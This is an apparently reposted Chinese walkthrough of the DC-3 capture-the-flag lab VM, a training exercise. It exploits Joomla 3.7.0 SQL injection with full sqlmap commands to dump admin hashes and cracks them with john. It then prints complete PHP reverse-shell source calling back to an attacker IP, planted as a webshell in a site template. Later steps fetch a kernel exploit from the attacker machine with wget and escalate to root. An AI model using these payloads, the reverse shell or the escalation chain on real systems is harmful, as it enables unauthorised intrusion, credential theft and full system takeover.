~ 不用见日月,你就是星辰 ~
靶场下载地址:
官网:
http://www.five86.com/downloads/DC-3-2.zip
百度网盘:
https://pan.baidu.com/s/1nK2rG5Wuh4MDZmsT8tvYkw?pwd=4pa2
刚进去的时候会遇到个错误
编辑配置项
开启nat模式
开机
开始渗透,主机发现
端口快速扫描
80端口服务,并快速找到编程语言为PHP语言
御剑扫描
后台界面
安装 joomscan 这个工具
检查
检索这个joomla版本信息是3.7.0
joomscan -u 192.168.60.131
使用 searchsploit 来搜索漏洞信息
搜索所有 joomla 指定版本的漏洞信息,用法,中间添加一个空格就可以了。
再精确,我要找到 joomla 3.7.0 版本的sql注入漏洞
我们可以利用-p
选项,我们可以获得有关目标漏洞的更多信息,并将该漏洞的完整路径复制到剪切板上。
searchsploit 42033
searchsploit -p 42033
我们查看这个内容
复制上图的payload,并把localhost本地地址替换成靶场地址,利用sqlmap工具
sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --current-user
这个时候就得到了数据库信息,并使用 --current-user
获取当前数据库用户,可以看到是root用户
指定数据库为当前网站的数据库,枚举数据库所有表
sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
指定表"#__users"
,并列出所有的列名
sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' --columns
我只要username
和password
两个字段
sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
创建一个文件,存储好hash
后的密文,使用 john
来爆破一下,提示我们使用--show
参数,来显示所有可能的密文
得到 admin的密码snoopy
,登录后台
添加一个php脚本,用于反弹shell
我们利用kali自带的webshell工具进行反弹
修改一下这个文件的两个参数,然后全部复制到这个script.php
源码如下
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.60.132'; // 你攻击机的IP地址
$port = 1234; // 攻击机nc监听的地址
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$stringn";
}
}
?>
粘贴到这个php木马中
kali开启监听
默认情况下的模板位置是在 /templates
目录下
当前模板名称为 beez3
得出脚本位置
http://192.168.60.131/templates/beez3/script.php
成功上线
创建一个交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
上图可以看到不是root用户
信息收集
两个重要文件的权限
查看发布者信息,都没有可疑点
那么还是一样,使用searchsploit漏洞检索
我们需要的是提权漏洞,再添加关键字 Privilege Escalation,找到这两个
我们用第一个4.4.x的漏洞,进行尝试
查看这个文件可以看到漏洞的产生原因以及利用方法。
搜索exp,有一个下载链接
下载下来即可
解压,并开启http请求
复制这个文件的地址就好
http://192.168.60.132:8000/39772/exploit.tar
靶机下载这个文件,但是提示我们没有权限
wget http://192.168.60.132:8000/39772/exploit.tar
这个时候就要想到刚刚在网页上能创建php文件的目录了,查找刚刚创建的脚本
find / -name "script.php" 2>/dev/null
我们在这个文件下载,下载完成
解压到这个文件夹中
根据这个39772的txt文件提示依次执行
提权成功。
成功通关!
总结
本次靶机练习主要用到的工具是searchsploit工具,利用框架/系统已知的漏洞进行渗透测试,从而获取到系统的最高权限。
往期推荐
从零开始学SQL注入(sql十大注入类型):技术解析与实战演练
原文始发于微信公众号(泷羽Sec):【渗透测试】DC-3提权靶机综合渗透教程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论